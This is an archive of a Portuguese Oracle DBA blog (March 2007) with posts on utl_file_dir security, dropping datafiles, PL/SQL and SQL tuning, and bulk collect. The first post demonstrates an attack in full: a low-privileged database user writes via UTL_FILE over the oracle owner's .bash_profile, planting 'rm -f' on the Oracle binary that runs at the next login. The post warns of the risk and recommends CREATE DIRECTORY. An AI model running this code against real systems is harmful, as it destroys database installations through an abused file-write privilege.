.comment-link {margin-left:.6em;}

Thursday, March 29, 2007

Velhos Vícios

Ainda hoje, beirando o lançamento da versão 11g, sustentamos alguns velhos hábitos mantendo funcionalidades do passado, algumas, além de antigas, perigosas. A natureza humana é resistente a mudança, isso é indiscutível e quase incontestável, porém, quando novas características vêm, é preciso, no mínimo, considerar e mais importante, conhecer! A cada nova release é necessário saber a lista de bugs corrigidos assim como novas funcionalidades, estudá-las, testá-las e classificá-las adequadamente para sua aplicação futura. Até hoje é possível ver banco de dados subindo com pfile ao invés de spfile, por exemplo.

Outro exemplo é o comando de definição CREATE DIRECTORY, que nem pode ser chamado de nova funcionalidade na medida em que ele existe desde a versão 8i. Mas é impressionante a quantidade de analistas e desenvolvedores que ainda usam o parâmetro utl_file_dir para escrever ou ler arquivos do sistema operacional. Está comprovadamente advertido que este parâmetro é extremamente perigoso, ainda mais se for mal configurado. Vamos discutir um pouco mais a fundo. Gostaria apenas de uma ressalva quanto a publicação desse exemplo: se há algo que evito, é publicar como explorar vulnerabilidades, mostrando os códigos. É importante estar ciente dos problemas de segurança, portanto, quando publico, procuro omitir o código. Entretanto, penso que esta demonstração tem seu propósito.

Então, por favor, não reproduza o exemplo a seguir em seu ambiente já que o resultado pode ser desastroso, a intenção é mostrar o que um sistema mal configurado e um programador "bem intencionado" podem fazer. O cenário consiste em explorar o mal dimensionamento do parâmetro ult_file_dir, que em muitos sistemas fica setado para "*" (asterísco), ou seja, permissão para escrita e leitura em qualquer lugar do sistema operacional, onde o usuário dono do oracle tenha acesso. No linux, usando o shell /bin/bash, o .bash_profile é um arquivo que executa automaticamente quando o usuário loga-se no sistema, uma espécie de autoexec.bat (para Windows). Meu código irá substituir o conteúdo do .bash_profile do dono do Oracle e na próxima oportunidade de login do mesmo, o .bash_profile executa!
Requisito:

ops$marcio:LX92> show parameter utl_file_dir

NAME TYPE VALUE
------------------------------------ ----------- ------------------------
utl_file_dir string *

Faço o login con o ora92 (dono do meu oracle 9i) e mostro o .bash_profile original.

[ora92@anakin ~]$ cat .bash_profile
# .bash_profile

# Get the aliases and functions
if [ -f ~/.bashrc ]; then
. ~/.bashrc
fi

# User specific environment and startup programs

PATH=$PATH:$HOME/bin

export PATH
unset USERNAME

ORACLE_SID=lx92
ORACLE_BASE=/oracle
ORACLE_HOME=/oracle/92
PATH=$ORACLE_HOME/bin:$PATH:.
LD_ASSUME_KERNEL=2.4.19
SQLPATH=/oracle/sqladm
export ORACLE_SID ORACLE_BASE ORACLE_HOME PATH LD_ASSUME_KERNEL SQLPATH
Agora, entro com o scott/tiger do prompt do unix mesmo, mas eu poderia usar o sqlplusw do Windows na minha estação ou o sqldeveloper ou até mesmo outro cliente qualquer, não há necessidade de conhecer ou ter o usuário do unix. Uma vez conectado, vou executar um bloco anônimo de 12 linhas apenas, fechar a sessão e esperar a bomba que acontece na próxima conexão de algum DBA que necessite fazer manutenção no banco através da conta "ora92".

[ora92@anakin ~]$ sqlplus scott/tiger

SQL*Plus: Release 9.2.0.8.0 - Production on Thu Mar 29 10:45:37 2007

Copyright (c) 1982, 2002, Oracle Corporation. All rights reserved.


Connected to:
Oracle9i Enterprise Edition Release 9.2.0.8.0 - Production
With the Partitioning, OLAP and Oracle Data Mining options
JServer Release 9.2.0.8.0 - Production

scott:LX92> declare
2 l_output utl_file.file_type;
3 begin
4 l_output := utl_file.fopen('/home/ora92', '.bash_profile', 'w' );
5 utl_file.put_line( l_output, 'rm -f /oracle/92/bin/oracle' );
6 utl_file.put_line( l_output, 'clear' );
7 utl_file.put_line( l_output, 'echo ''Vai usar o sqlplus ? :-) ''' );
8 utl_file.put_line( l_output, 'echo ''Acho que nao!!! :P ''' );
9 utl_file.put_line( l_output, '');
10 utl_file.fclose(l_output);
11 end;
12 /

PL/SQL procedure successfully completed.

scott:LX92> exit
Disconnected from Oracle9i Enterprise Edition Release 9.2.0.8.0 - Production
With the Partitioning, OLAP and Oracle Data Mining options
JServer Release 9.2.0.8.0 - Production
Tudo armado, veja abaixo como está o .bash_profile e cá entre nós, quem se lembra que existe o .bash_profile toda vez que conectamos? Então, um pouco mais abaixo, mostro o telnet e a conexão.

[ora92@anakin ~]$ cat .bash_profile
rm -f /oracle/92/bin/oracle
clear
echo 'Vai usar o sqlplus ? :-) '
echo 'Acho que nao!!! :P '

[ora92@anakin ~]$ telnet anakin.mportes.local
Trying 192.168.0.120...
Connected to anakin.mportes.local (192.168.0.120).
Escape character is '^]'.
Enterprise Linux Enterprise Linux AS release 4 (October Update 4)
Kernel 2.6.9-42.0.0.0.1.ELsmp on an i686
login: ora92
Password:
Last login: Wed Mar 28 21:22:32 from localhost.localdomain

Vai usar o sqlplus ? :-)
Acho que nao!!! :P
-bash-3.00$
-bash-3.00$
Só de ler isso aqui já dá um negócio na barriga não? Feche os olhos e imagine VOCE vivendo uma situação como esta? O shell diferente do que está acostumado, uma mensagem ridícula com caretinhas e... voce se dá conta que algo aconteceu no seu profile (.bash_profile) "Caramba, quem mexeu aqui? Deve ser zueira" - Sim e das grandes! Seguindo, acertamos as variáveis de ambiente e tentamos conectar no banco...

-bash-3.00$ sqlplus "/ as sysdba"
-bash: sqlplus: command not found
-bash-3.00$ . ./bash_profile_backup
[ora92@anakin ~]$
[ora92@anakin ~]$ sqlplus "/ as sysdba"

SQL*Plus: Release 9.2.0.8.0 - Production on Thu Mar 29 10:47:26 2007

Copyright (c) 1982, 2002, Oracle Corporation. All rights reserved.

ERROR:
ORA-12545: Connect failed because target host or object does not exist


Enter user-name:
ERROR:
ORA-12545: Connect failed because target host or object does not exist


Enter user-name:
ERROR:
ORA-12545: Connect failed because target host or object does not exist


SP2-0157: unable to CONNECT to ORACLE after 3 attempts, exiting SQL*Plus
[ora92@anakin ~]$
Vixi!
Bom, provavelmente a essa altura, o telefone já não pára de tocar, seu chefe e o chefe do seu chefe devem estar ai atrás da sua cadeira, perguntando "O que acontece?", "Tem previsão?", "Qual a severidade?"...

Concluindo: é um cenário dantesco que não é impossível de acontecer, imaginado para contextualizar a vulnerabilidade de um parâmetro mal dimensionado e insistente na medida em que não muda-se os paradigmas e se mantém vícios antigos porque "sempre foi assim". Todo esse exemplo seria impossível, caso o parâmetro utl_file_dir não estivesse setado, então o analista teria que solicitar ao DBA para criar um diretório lógico no oracle (CREATE DIRECTORY) apontando para o diretório físico no sistema operacional restrito a seu trabalho. No próximo release, tire um tempo para testar e conhecer as new features, ajuda bastante.

Labels:


Tuesday, March 27, 2007

Drop Datafile (Aprofundando...)

Recebi alguns feedbacks sobre o post anterior, portanto vamos estudar um pouco mais o drop datafile.

Visitei hoje seu blog e li o artigo sobre como dropar um datafile. No exemplo você dropa um datafile de uma tablespace que possui dois datafile.
O que acontece com o conteudo daquele datafile? Porque ate onde eu sei não é possivel colocarmos uma determinada tabela por exemplo em um datafile específico, somente especificamos em qual tablespace queremos alocar a tabela e o proprio banco distribui pelos datafiles.

Os dados do datafile dropado são jogados para o outro datafile? Ou todos os objetos que estavam contidos inteiramente ou parcialmente no datafile também são dropados?
Não, os dados não são jogados em outro datafile, neste caso não é permitido o drop datafile e não só nesse caso. Veja:

ops$marcio:LX10G> create tablespace tbs_deldf datafile
2 '/oracle/tmp/df1.dbf' size 10m,
3 '/oracle/tmp/df2.dbf' size 10m
4 /

Tablespace created.

ops$marcio:LX10G>
ops$marcio:LX10G> col file_name format a50
ops$marcio:LX10G> select file_name
2 from dba_data_files
3 where tablespace_name = 'TBS_DELDF'
4 /

FILE_NAME
--------------------------------------------------
/oracle/tmp/df1.dbf
/oracle/tmp/df2.dbf

2 rows selected.

ops$marcio:LX10G>
ops$marcio:LX10G> drop table t;

Table dropped.

ops$marcio:LX10G> create table t tablespace tbs_deldf as select * from all_objects;

Table created.

ops$marcio:LX10G> insert /*+ append */ into t select * from t;

51191 rows created.

ops$marcio:LX10G> commit;

Commit complete.

ops$marcio:LX10G>
ops$marcio:LX10G> select count(*) from t;

COUNT(*)
-------------
102382

1 row selected.

ops$marcio:LX10G>
ops$marcio:LX10G> select file_name, round( bytes/1024/1024 ) mbytes,
2 round( ratio_to_report(bytes) over () * 100, 2 ) pct
3 from (
4 select sum(a.bytes) bytes, b.file_name
5 from dba_extents a,
6 dba_data_files b
7 where a.owner = USER
8 and a.segment_name = 'T'
9 and a.segment_type = 'TABLE'
10 and a.file_id = b.file_id
11 group by b.file_name
12 )
13 order by file_name
14 /

FILE_NAME MBYTES PCT
-------------------------------------------------- ------------- -------------
/oracle/tmp/df1.dbf 6 50
/oracle/tmp/df2.dbf 6 50

2 rows selected.
Fizemos uma carga e o oracle distribuiu os dados uniformemente através dos datafiles, portanto, 50% para cada. Nesse caso, o comando já não é mais permitido, porque os datafiles não estão vazios.

ops$marcio:LX10G> alter tablespace tbs_deldf drop datafile '/oracle/tmp/df2.dbf';
alter tablespace tbs_deldf drop datafile '/oracle/tmp/df2.dbf'
*
ERROR at line 1:
ORA-03262: the file is non-empty
Outra restrição para o comando, não é permitido dropar o primeiro datafile da tablespace (no momento da criação).
ops$marcio:LX10G> drop table t;

Table dropped.

ops$marcio:LX10G> alter tablespace tbs_deldf drop datafile '/oracle/tmp/df1.dbf';
alter tablespace tbs_deldf drop datafile '/oracle/tmp/df1.dbf'
*
ERROR at line 1:
ORA-03263: cannot drop the first file of tablespace TBS_DELDF
Drop é suficiente para limpar um datafile? Não! Não podemos esquecer que um drop na versão 10g, na verdade marca a tabela como dropada, mas o datafile ainda não está vazio enquanto não purgamos os dados. Nesse caso, o comando também falha.
ops$marcio:LX10G> alter tablespace tbs_deldf drop datafile '/oracle/tmp/df2.dbf';
alter tablespace tbs_deldf drop datafile '/oracle/tmp/df2.dbf'
*
ERROR at line 1:
ORA-03262: the file is non-empty


ops$marcio:LX10G> purge recyclebin;

Recyclebin purged.

ops$marcio:LX10G> alter tablespace tbs_deldf drop datafile '/oracle/tmp/df2.dbf';

Tablespace altered.
Outro caso é quando a tablespace possui apenas um datafile.

ops$marcio:LX10G> alter tablespace tbs_deldf drop datafile '/oracle/tmp/df1.dbf';
alter tablespace tbs_deldf drop datafile '/oracle/tmp/df1.dbf'
*
ERROR at line 1:
ORA-03261: the tablespace TBS_DELDF has only one file
É importante frizar também que o comando drop datafile não substitui o alter database ... offline drop, eles convivem e cada qual tem sua aplicação.

Labels:


Monday, March 26, 2007

Drop Datafile (10g)

Até a versão 10g, dropar um datafile era uma tarefa "quase" impossível, apesar da nota no metalink sobre como dropar datafile, convenhamos, não é uma ação para uma sexta-feira à tarde. Porém, com a versão 10g, isso virou um comando bastante simples.

ops$marcio:LX10G> create tablespace tbs_deldf datafile
2 '/oracle/tmp/df1.dbf' size 10m,
3 '/oracle/tmp/df2.dbf' size 10m
4 /

Tablespace created.

ops$marcio:LX10G>
ops$marcio:LX10G> col file_name format a50
ops$marcio:LX10G> select file_name
2 from dba_data_files
3 where tablespace_name = 'TBS_DELDF'
4 /

FILE_NAME
--------------------------------------------------
/oracle/tmp/df1.dbf
/oracle/tmp/df2.dbf

2 rows selected.

ops$marcio:LX10G>
ops$marcio:LX10G> alter tablespace tbs_deldf drop datafile '/oracle/tmp/df2.dbf';

Tablespace altered.

ops$marcio:LX10G>
ops$marcio:LX10G> select file_name
2 from dba_data_files
3 where tablespace_name = 'TBS_DELDF'
4 /

FILE_NAME
--------------------------------------------------
/oracle/tmp/df1.dbf

1 row selected.

Apenas uma adendo, o comando não funciona para tablespaces do tipo bigfile.

Labels:


Wednesday, March 21, 2007

Como Otimizar um PL/SQL

Um colega me disse que é difícil otimizar programas. Realmente, se pensarmos bem, não é uma tarefa que se ensina em curso. A maioria dos DBAs também têm dificuldade em otimizar sentenças SQL ou códigos PL/SQL, porque não é tarefa de seu dia-a-dia. Quanto mais próximo do código, mais são as chances do profissional aprender como escrever programas eficientes em PL/SQL. Também existem os códigos egípcios puxados para o grego, cujo autor é o único que os entende. Já viu!? As variáveis são definidas como "x", "y" e "z" sem dizer coisa alguma além de não oferecer sequer um comentário. Terrível! "Indentação"? Para quê? Algumas vezes dá vontade de chamar o Tank para decifrar.

Antes de começar, um lembrete: O que voce lerá daqui para frente serviu a mim, isso não quer dizer que servirá a voce. Tome as dicas aqui como referência e não deixe de fazer o seu guia para otimização.

Por Onde Começar?

Entendimento! Esse é o começo. Entender o código, o que faz, qual o caminho está percorrendo, quais as tabelas envolvidas, quantidade de linhas, índices, seletividade, ou seja, todo o conhecimento que provavelmente qualquer profissional acumula durante a carreira é usado na otimização de código.

No começo, é usar o que já sabemos. Vou usar meu exemplo: na minha carreira até agora, tudo que eu posso fazer usando SQL puro, faço (em termos de programação em banco de dados Oracle). Então, quando me pedem para olhar (otimizar) uma procedure, vou primeiro entender o programa. Validar com o negócio se realmente eles precisam da rotina (muitas vezes, uma rotina é desnecessária e está lá, porque ninguém nunca perguntou). Verificar se eu não poderia escrever aquilo de outra forma, usando SQL puro. A técnica é parecida com tirar cascas de cebola, uma camada de cada vez. Nunca vou direto no tkprof ou autotrace, essa parte é do refinamento, quando já reescrevi o procedimento.

Vamos desenvolver um pequeno exemplo: as tabelas envolvidas serão EMP e DEPT do esquema SCOTT, elas estão disponíveis em $ORACLE_HOME/utlsampl.sql. Farei um backup da dept na dept_old (create table dept_old as select * from dept), depois removo todas as linhas da dept e tomando a dept_old como base, irei repopular a dept caso o departamento (deptno) esteja em uso na emp. Bastante simples. Agora vamos ver o código para isso.

declare
l_exist number(1) default 0;
l_dname dept_old.dname%type;
l_loc dept_old.loc%type;
begin
for x in ( select deptno from emp )
loop
select count(*) into l_exist
from dept
where dept.deptno = x.deptno;
if ( l_exist = 0 ) then
select dname, loc into l_dname, l_loc
from dept_old
where dept_old.deptno = x.deptno;
insert into dept values ( x.deptno, l_dname, l_loc );
end if;
end loop;
end;
/
O que pensar de um código assim? Horrível não? Começando com o temido switch de contexto, caminhando com count(*) sem restrição para testar se o registro existe e finalizando com um select que popula variáveis para finalmente inserir na dept. Ok, muita calma, leia o código e entenda o que faz. Mas entenda a semântica, não a sintaxe, ou seja, entenda o significado. Resumindo: insira um registro na dept caso exista na emp da dept_old. Concorda? Ora, ele vem de um cursor da emp, testa com count(*) para saber se já existe na dept e se não existir insira usando dados da dept_old.

Agora vou tentar explicar o que vejo, iniciando com o switch de contexto, que é a troca seguida entre a engine de SQL e PL/SQL. Exatamente como acontece no código acima, dentro de um cursor utiliza-se sentenças SQL.
(1) OPEN x in ( SELECT ... )
loop
(2) SELECT y INTO ... FROM ...;
(3) UPDATE z SET w=... WHERE x.m =...
end loop;
Em (1) a engine de SQL executa a query e envia para a engine de PL/SQL que fará o looping. O problema é que em (2) há novamente uma sentença em SQL que a engine de PL/SQL não executa, então novamente há cessão de execução à engine de SQL, que executa e VOLTA para engine de PL/SQL, para seguir com o looping... mas... em (3) novamente uma sentença SQL e a engine de SQL é chamada, executa e devolve para engine de PL/SQL, para a finalização da primeira linha do looping. Basicamente, isso é switch de contexto.

Isso deve ser evitado, melhor, deveria ser proibido! Então, já descobrimos o primeiro problema do nosso código e, só isso, já seria argumento suficiente para reescrevê-lo. Seguindo, temos um teste de existência. Honestamente, eu NUNCA testo nada para inserir ou atualizar, eu simplesmente envio o comando, se não existe, paciência! E quando tenho que testar, coloco uma restrição para não haver problema de performance. Em nosso exemplo, temos:
select count(*) into l_exist
from dept
where dept.deptno = x.deptno;
Não há limite para o count(*), se a tabela dept tivesse 1 milhão de linhas ele faria a contagem de 1 milhão de linhas (POR NADA) e devolveria em l_exist. Realmente o que é preciso para saber que um dept existe? Apenas uma linha, portanto, seria muito mais eficiente se puséssemos no predicado uma restrição como: AND ROWNUM=1, porque basta achar 1 registro. O otimizador conhece o rownum=1 e faz um COUNT STOPKEY.

ops$marcio:LX10G> select count(*) from t1;

COUNT(*)
-------------
53094

1 row selected.

-------------------------------------------------------------------------------
| Id | Operation | Name | Rows | Cost (%CPU)| Time |
-------------------------------------------------------------------------------
| 0 | SELECT STATEMENT | | 1 | 28 (4)| 00:00:01 |
| 1 | SORT AGGREGATE | | 1 | | |
| 2 | INDEX FAST FULL SCAN| IT1_OBJECT_ID | 53094 | 28 (4)| 00:00:01 |
-------------------------------------------------------------------------------

Statistics
----------------------------------------------------------
0 recursive calls
0 db block gets
124 consistent gets
...

ops$marcio:LX10G> select count(*) from t1 where rownum=1;

COUNT(*)
-------------
1

1 row selected.

--------------------------------------------------------------------------------
| Id | Operation | Name | Rows | Cost (%CPU)| Time |
--------------------------------------------------------------------------------
| 0 | SELECT STATEMENT | | 1 | 28 (4)| 00:00:01 |
| 1 | SORT AGGREGATE | | 1 | | |
|* 2 | COUNT STOPKEY | | | | |
| 3 | INDEX FAST FULL SCAN| IT1_OBJECT_ID | 53094 | 28 (4)| 00:00:01 |
--------------------------------------------------------------------------------

Predicate Information (identified by operation id):
---------------------------------------------------

2 - filter(ROWNUM=1)


Statistics
----------------------------------------------------------
1 recursive calls
0 db block gets
7 consistent gets
...

Seguindo em nossa avaliação eu pergunto: por que selecionar os valores em variáveis e depois inserir? Faça o insert direto (se fosse o caso!).
select dname, loc into l_dname, l_loc
from dept_old
where dept_old.deptno = x.deptno;
insert into dept values ( x.deptno, l_dname, l_loc );
Então, nesse caso, o correto seria apenas um comando SQL (pensando em recursos, cada sentença SQL movimenta CPU, evitando desperdícios de sentenças, estamos economizando recurso de máquina).
insert into dept
select deptno, dname, loc
from dept_old
where dept_old.deptno = x.deptno;
A instrução acima faria a mesma coisa, economizando CPU e memória.

Concluindo

Agora que avaliamos o código e entendemos o que deve ser feito, vimos todas as suas fraquezas, hora de tomar uma decisão. Apenas retomando, não precisei de tkprof nem de autotrace para avaliar esse código e notar que está muito mal feito. A solução para esse procedimento é a reescrita! Então, relembrando a semântica: inserir na dept caso exista em emp da dept_old.

insert into dept
select deptno, dname, loc
from dept_old
where exists ( select null
from emp
where emp.deptno = dept_old.deptno )
/

Labels:


Tuesday, March 20, 2007

Eficiencia do Otimizador

Na versão 10g, a Oracle aprimorou muito as decisões do otimizador baseado nas informações das estatísticas (CBO) - nem sei porque usamos essa sigla ainda, talvez vício, já que não existe mais o RBO. A capacidade de reescrever as queries para obter melhor resultado através da avaliação de histogramas, índices, etc.

Porém, ainda há situações onde o otimizador não tem muita opção e, portanto, elege um caminho não tão eficiente. Um exemplo que vi outro dia, foi uma query escrita com "OR". Na query existia dois predicados bastante efetivos e eletivos por índice, só quando executados separadamente. Quando postos juntos na mesma query o otimizador simplesmente não soube como resolver e escolheu um FILTER da primeira tabela (full tablescan) e leitura através de índice na segunda (INDEX RANGE SCAN), nada apropriado para o caso.

Gostaria de chamar atenção em um ponto aqui: a importância de conhecer seus dados. O analista conhecia seus dados e sabia que o acesso não estava adequado. Quando ele me procurou, não entendia porque o Oracle não estava trazendo os dados de forma correta. Então reescrevemos a query com UNION ALL.

A query na verdade é bastante simples e vou tentar reproduzir. Primeiro um setup dos dados - T1 e T2.

ops$marcio:LX10G> create table t1 as select * from sys.obj$;

Table created.

ops$marcio:LX10G> create index it1_object_id on t1 ( obj# );

Index created.

ops$marcio:LX10G>
ops$marcio:LX10G> create table t2 as select * from dba_objects;

Table created.

ops$marcio:LX10G> create index it2_object_id on t2 ( object_id );

Index created.

ops$marcio:LX10G> create index it2_owner on t2 ( owner );

Index created.

ops$marcio:LX10G>
ops$marcio:LX10G> begin
2 dbms_stats.gather_table_stats(
3 user,
4 'T1',
5 cascade => true,
6 method_opt => 'for all indexed columns size 10'
7 );
8 dbms_stats.gather_table_stats(
9 user,
10 'T2',
11 cascade => true,
12 method_opt => 'for all indexed columns size 10'
13 );
14 end;
15 /

PL/SQL procedure successfully completed.

ops$marcio:LX10G>
ops$marcio:LX10G> select ( select count(*) from t1 ) cnt_t1,
2 ( select count(*) from t2 ) cnt_t2
3 from dual
4 /

CNT_T1 CNT_T2
------------- -------------
53094 51845

1 row selected.
Duas tabelas com certa relação, ambas indexadas e com estatísticas coletadas inclusive com histograma. A query é bem simples, precisamos de todas os nomes da T1 onde obj# esteja entre 59700 e 59800 e que exista na T2 com o dono (owner) = 'SCOTT'. Quando os predicados são executados separadamente, o otimizador sabe exatamente como escolher o caminho mais eficiente, o problema é quando UNIMOS as queries com o "OR".

select name
from t1
where obj# between 59700 and 59800
or exists (select null
from t2
where t1.obj# = t2.object_id
and t2.owner = 'SCOTT'
)
/
Essa foi mais ou menos a "pedrinha no sapato" do meu colega analista. A primeira idéia que surgiu foi a substituição do EXISTS por IN, mas o caso não era esse porque além das tabelas possuirem quase a mesma quantidade de linhas, o otimizador tem a capacidade de rescrever queries do tipo EXISTS/IN para obter performance.

Vamos ver o que o otimizador conseguiu.

ops$marcio:LX10G> select name
2 from t1
3 where obj# between 59700 and 59800
4 or exists (select null
5 from t2
6 where t1.obj# = t2.object_id
7 and t2.owner = 'SCOTT'
8 )
9 /

25 rows selected.


Execution Plan
----------------------------------------------------------
Plan hash value: 2766739097

----------------------------------------------------------------------------------------------
| Id | Operation | Name | Rows | Bytes | Cost (%CPU)| Time |
----------------------------------------------------------------------------------------------
| 0 | SELECT STATEMENT | | 2697 | 59334 | 147 (3)| 00:00:02 |
|* 1 | FILTER | | | | | |
| 2 | TABLE ACCESS FULL | T1 | 53096 | 1140K| 147 (3)| 00:00:02 |
|* 3 | TABLE ACCESS BY INDEX ROWID| T2 | 1 | 11 | 2 (0)| 00:00:01 |
|* 4 | INDEX RANGE SCAN | IT2_OBJECT_ID | 1 | | 1 (0)| 00:00:01 |
----------------------------------------------------------------------------------------------

Predicate Information (identified by operation id):
---------------------------------------------------

1 - filter("OBJ#">=59700 AND "OBJ#" <=59800 OR EXISTS (SELECT /*+ */ 0 FROM "T2"
"T2" WHERE "T2"."OBJECT_ID"=:B1 AND "T2"."OWNER"='SCOTT'))
3 - filter("T2"."OWNER"='SCOTT')
4 - access("T2"."OBJECT_ID"=:B1)
A solução para o otimizador foi (1) FILTER, ou seja, (2) leia (full) a t1 e para cada linha procure na t2 (3) faça uma seleção por owner e acesso pelo índice object_id (4). Não está mal! Pensando como o Oracle, da maneira como a query está escrita, ele precisa de TODAS as linhas de T1 e não só o filtro BETWEEN (59700 e 59800), porque existe um OR, portanto ele precisa de outras linhas na condição do predicado.

Statistics
----------------------------------------------------------
1 recursive calls
0 db block gets
158733 consistent gets
0 physical reads
...
E note o esforço para obter a informação. 158733 consistents gets. Um pouco pesado para 25 linhas. Uma passada de olhos no Performance Tuning Guide, na seção 11.5 Developing Efficient SQL Statements existem ótimas dicas de como escrever eficiente SQLs e uma das dicas é: diminuir o workload do Oracle trazendo o mesmo set de linhas. Então vamos reescrever a query para dar mais chances ao otimizador.

O problema desta query é quando UNIMOS, então vamos tentar um UNION ALL na mão. Um aparte: por que UNION ALL e não UNION? Porque quando usamos o UNION um DISTINCT vem de presente, portanto cuidado!

select name
from t1
where obj# between 59700 and 59800
UNION ALL
select name
from t1
where exists ( select null
from t2
where t1.obj# = t2.object_id
and t2.owner = 'SCOTT'
)
and not ( obj# between 59700 and 59800 )
/
Alguns alertas quando reescrever a query, se estamos fazendo um UNION ALL na mão, há que se respeitar o predicado da query inicial, ou seja, não queremos linhas duplicadas. Então basta incluir mais um predicado na segunda query limitando o que já foi feito na primeira
( and not ( obj# between 59700 and 59800 ) ) 
outra lembrança importante é: se o campo no NOT tiver a mínima change de conter null, é preciso tratar, no caso seria: nvl(obj#,0) between ...

Vamos ao resultado final!

ops$marcio:LX10G> select name
2 from t1
3 where obj# between 59700 and 59800
4 UNION ALL
5 select name
6 from t1
7 where exists ( select null
8 from t2
9 where t1.obj# = t2.object_id
10 and t2.owner = 'SCOTT'
11 )
12 and not ( obj# between 59700 and 59800 )
13 /

25 rows selected.


Execution Plan
----------------------------------------------------------
Plan hash value: 1985880467

-----------------------------------------------------------------------------------------------
| Id | Operation | Name | Rows | Bytes | Cost (%CPU)| Time |
-----------------------------------------------------------------------------------------------
| 0 | SELECT STATEMENT | | 1103 | 35915 | 183 (99)| 00:00:03 |
| 1 | UNION-ALL | | | | | |
| 2 | TABLE ACCESS BY INDEX ROWID | T1 | 44 | 968 | 3 (0)| 00:00:01 |
|* 3 | INDEX RANGE SCAN | IT1_OBJECT_ID | 44 | | 2 (0)| 00:00:01 |
|* 4 | HASH JOIN RIGHT SEMI | | 1059 | 34947 | 180 (3)| 00:00:03 |
| 5 | TABLE ACCESS BY INDEX ROWID| T2 | 1058 | 11638 | 32 (0)| 00:00:01 |
|* 6 | INDEX RANGE SCAN | IT2_OWNER | 1058 | | 3 (0)| 00:00:01 |
|* 7 | TABLE ACCESS FULL | T1 | 52879 | 1136K| 147 (3)| 00:00:02 |
-----------------------------------------------------------------------------------------------

Predicate Information (identified by operation id):
---------------------------------------------------

3 - access("OBJ#">=59700 AND "OBJ#"<=59800)
4 - access("T1"."OBJ#"="T2"."OBJECT_ID")
6 - access("T2"."OWNER"='SCOTT')
7 - filter("OBJ#"<59700 OR "OBJ#">59800)


Statistics
----------------------------------------------------------
1 recursive calls
0 db block gets
643 consistent gets
0 physical reads
...

Ok muito melhor... 643 consistents gets contra quase 160 mil, notem também a mudança de plano de acesso e para finalizar uma olhada no tkprof.

select name
from t1
where obj# between 59700 and 59800
or exists (select null
from t2
where t1.obj# = t2.object_id
and t2.owner = 'SCOTT'
)

call count cpu elapsed disk query current rows
------- ------ -------- ---------- ---------- ---------- ---------- ----------
Parse 1 0.00 0.01 0 0 0 0
Execute 1 0.00 0.00 0 0 0 0
Fetch 2 3.24 3.16 0 158680 0 41
------- ------ -------- ---------- ---------- ---------- ---------- ----------
total 4 3.24 3.17 0 158680 0 41

Contra o query reescrita!

select name
from t1
where obj# between 59700 and 59800
UNION ALL
select name
from t1
where exists ( select null
from t2
where t1.obj# = t2.object_id
and t2.owner = 'SCOTT'
)
and not ( obj# between 59700 and 59800 )

call count cpu elapsed disk query current rows
------- ------ -------- ---------- ---------- ---------- ---------- ----------
Parse 1 0.00 0.00 0 0 0 0
Execute 1 0.00 0.00 0 0 0 0
Fetch 2 0.05 0.05 0 643 0 41
------- ------ -------- ---------- ---------- ---------- ---------- ----------
total 4 0.05 0.05 0 643 0 41

Labels:


Monday, March 19, 2007

Bulk Collect 2 (Delete)

Recentemente, outra dúvida sobre qual método seria mais eficiente na deleção de linhas de uma tabela surgiu na usuarios_oracle. Em minha opinião, por mais apelativo que seja o estouro da área de UNDO, eu ainda continuo apostando em SQL Puro. Eu aumentaria a área de UNDO para suportar a operação e faria em uma sentença. Vamos ao exemplo:

- Tabela com 2 milhões de registros, quero deletar 100 mil.
- Faço os 3 métodos, cursor normal, bulk collect e sql puro.
- O Resultado está no final.

ops$marcio:LX10G> drop table t purge;

Table dropped.

ops$marcio:LX10G>
ops$marcio:LX10G> create table t as
2 select level n,
3 rpad('x', 50, 'x') vc
4 from dual connect by level <= 2000000
5 /

Table created.

ops$marcio:LX10G>
ops$marcio:LX10G> create index t_idx on t ( n );

Index created.

ops$marcio:LX10G>
ops$marcio:LX10G> begin
2 dbms_stats.gather_table_stats ( user, 'T', cascade => true );
3 end;
4 /

PL/SQL procedure successfully completed.

ops$marcio:LX10G>
ops$marcio:LX10G> create or replace procedure p
2 is
3 cursor c is
4 select rowid rid
5 from t
6 where n between 1500000 and 1600000;
7 type rec is table of rowid index by binary_integer;
8 l_rec rec;
9 l_time number default dbms_utility.get_time;
10 procedure show_time (p_message in varchar2) is
11 begin
12 dbms_output.put_line(p_message ||
13 trunc((dbms_utility.get_time - l_time)/100,2) || ' segundos!');
14 l_time := dbms_utility.get_time;
15 end;
16 begin
17 for x in c
18 loop
19 delete from t where rowid = x.rid;
20 end loop;
21 show_time('Tempo cursor normal ');
22 rollback;
23 open c;
24 loop
25 fetch c bulk collect into l_rec limit 100;
26
27 forall i in 1 .. l_rec.count
28 delete from t where rowid = l_rec(i);
29
30 exit when c%notfound;
31 end loop;
32 close c;
33 show_time('Tempo Bulk Collect ');
34 rollback;
35 delete from t where n between 1500000 and 1600000;
36 show_time('Tempo SQL Puro ');
37 end;
38 /

Procedure created.

ops$marcio:LX10G> show error;
No errors.
ops$marcio:LX10G>
ops$marcio:LX10G> exec p
Tempo cursor normal 23,38 segundos!
Tempo Bulk Collect 19,96 segundos!
Tempo SQL Puro 4,77 segundos!

PL/SQL procedure successfully completed.

Labels:


Monday, March 12, 2007

Bulk Collect

Meu mantra para performance é:
  1. SQL Puro - Me esforço o máximo para usar SQL Puro.
  2. PL/SQL - Quando a lógica é complexa.
  3. External C procs - Para ser sincero, faz algum tempo que não utilizo.
Gostaria de comentar sobre a opção dois! Escrever código PL/SQL. Cuidado para não escrever código demais. Porém, não adianta, em algum momento é preciso escrever procedures, packages, functions, etc. Então melhor utilizar bem as técnicas. Neste post, vou explorar a diferença de tratamente de cursor. Quando for inevitável o uso de cursor, tente não usar o processamento linha a linha. Uma boa técnica de tratamento para os cursores é BULK COLLECT.

Vamos ao teste, que consiste em comparar o tratamento de um mesmo cursor de duas maneiras - uma, linha a linha e outra com bulk collect. Também há uma subrotina na procedure que mostra o tempo tomado em cada execução. A lógica é alterar a coluna object_name para initcap(object_name). Apenas para fixar conceito: Qual seria o melhor forma de tratar essa modificação? ...

Muito bem! Opção 1 - SQL Puro, bastaria
insert into gtt select initcap(object_name) from t;
Entretanto, estamos estudando a melhor forma de tratar um cursor. A seguir a lógica do teste.
  1. Cursor abre, le a tabela "T" linha a linha, faz a modificação (initcap) e insere na tabela "GTT".
  2. Mostra tempo de execução 'Tempo cursor normal'
  3. Cursor abre, le a tabela "T" de 100 em 100 registros e monta um set (type - array), faz a modificação (initcap) e insere os 100 registros na tabela "GTT" volta ao item 3 até completar a tabela "T".
  4. Mostra tempo de execução 'Tempo bulk collect'
  5. Fim.
ops$marcio:LX10G> create table t as select * from all_objects;

